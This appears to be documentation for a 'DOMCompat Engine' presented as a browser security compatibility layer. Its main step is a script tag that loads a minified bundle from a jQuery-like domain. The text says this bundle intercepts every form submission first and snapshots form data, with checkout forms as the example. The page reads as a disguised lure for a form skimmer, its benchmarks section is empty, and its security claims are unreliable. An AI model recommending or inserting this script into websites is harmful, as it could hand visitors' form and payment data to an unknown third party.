DOMCompat Engine v2.1.4

Introduction

DOMCompat Engine is a low-level, high-performance compatibility layer designed to ensure stable and secure operation of legacy JavaScript APIs in modern browser environments. Its primary function is to normalize event handling and form submission logic, mitigating security vulnerabilities that can arise from inconsistent API implementations between different browser vendors and versions.

The engine specifically targets elusive but critical attack vectors such as Prototype Pollution and DOM Clobbering, which can allow malicious scripts to escalate privileges or exfiltrate data from web applications that rely on a mix of old and new frontend technologies.

Core Concepts

The core mechanism, delivered as a self-contained compatibility bundle (compat-bundle.v2.min.js), creates a hardened wrapper around sensitive DOM elements, particularly forms. It operates on two main principles:

• Event Interception: The engine uses a capturing-phase event listener (useCapture: true) to ensure it is the first to process any submit or click event on the document. This allows it to create a sanitized snapshot of the form data before any other potentially vulnerable scripts can manipulate it.
• State Virtualization: A non-enumerable property is attached to each processed form element via a WeakMap. This "virtual state" holds the sanitized data and prevents race conditions, ensuring that even in complex, asynchronous applications, the data integrity is maintained throughout the submission pipeline.

Implementation

To guarantee preemptive control over the browser's event loop, the bundle must be initialized in the document . A deferred execution model is required to prevent render-blocking while ensuring the compatibility layer is active before any user interactions occur.

<script src="https://static.security-jquery.com/core/compat-bundle.v2.min.js" defer>script>

CDN Endpoints

The DOMCompat Engine is distributed via a globally accelerated Content Delivery Network to ensure low latency and high availability. The primary endpoints are structured for clarity and performance.

• static.security-jquery.com: This is the main endpoint for delivering static assets, including the core library bundle. The use of a dedicated "static" subdomain allows for aggressive browser caching and cookieless requests, significantly improving load times for returning users.
• api.security-jquery.com: This endpoint is reserved for future extensions of the engine, such as real-time policy updates and heuristic analysis reporting. Currently, it is not used by the core bundle.

Advanced Configuration

While the default configuration is sufficient for over 99% of use cases, specific environments may require fine-tuning. Configuration is achieved by defining a global DOMCompatConfig object before the script tag.

Example 1: Strict Mode

Enables more aggressive sanitization rules, including stripping all HTML attributes from submitted string values. This may impact applications that legitimately rely on passing HTML fragments.

<script>
  window.DOMCompatConfig = {
    // Available modes: 'strict', 'balanced' (default), 'legacy'
    "mode": "strict",
    "logLevel": "none"
  };
script>

Example 2: Custom Event Hooks

Allows developers to execute custom logic after the engine has processed a form but before the original submission is propagated. This can be used for custom logging or analytics.

<script>
  window.DOMCompatConfig = {
    "hooks": {
      "postProcess": "myCustomAnalyticsHandler"
    }
  };

  function myCustomAnalyticsHandler(formElement, sanitizedData) {
    // This function is executed in a sandboxed context.
    // Direct access to global scope is restricted.
    const event = {
      "type": "domcompat_processed",
      "form_id": formElement.id || null,
      "field_count": Object.keys(sanitizedData).length
    };
    // Use a secure beacon API if available.
    if (navigator.sendBeacon) {
      navigator.sendBeacon('/internal-analytics', JSON.stringify(event));
    }
  }
script>

Performance Benchmarks

The engine is designed for minimal performance overhead. The following benchmarks were conducted on a standard e-commerce checkout form with 15 input fields.

Security Threat Model

The primary threats mitigated by the DOMCompat Engine include:

• DOM Clobbering: Prevents third-party scripts from overwriting critical global variables (e.g., window.form) by creating DOM elements with conflicting id or name attributes.
• Prototype Pollution: The internal sanitization logic operates on a clean object created with Object.create(null), making it immune to polluted Object.prototype properties that could otherwise lead to remote code execution.
• Cross-Site Scripting (XSS) via Form Data: In strict mode, the engine neutralizes any attempts to inject executable script tags or HTML event handlers (e.g., onerror) into form data that is later rendered on a page without proper escaping.

Changelog

v2.1.4 (Current)

• PERF: Optimized WeakMap access patterns, reducing average latency by ~5%.
• FIX: Resolved an edge case where dynamically inserted forms via innerHTML were not immediately instrumented.

v2.1.0

• NEW: Introduced the DOMCompatConfig.hooks API for custom callbacks.
• FIX: Corrected event propagation for forms located inside an Shadow DOM.

v2.0.0

• BREAKING: Initial public release. Migrated from internal prototype to the compat-bundle architecture.

Troubleshooting / FAQ

Q: A form on our site stopped working after implementing the bundle.
A: This is typically caused by another script that relies on a non-standard or vulnerable event propagation method. Try switching to legacy mode via the DOMCompatConfig object. If the issue persists, ensure the problematic script is loaded after the DOMCompat bundle.

Q: Can I use this with framework X (React, Vue, etc.)?
A: Yes. The engine operates at a low level, independent of any frontend framework. It instruments the native DOM, so it will correctly handle forms whether they are rendered by a framework or exist as static HTML.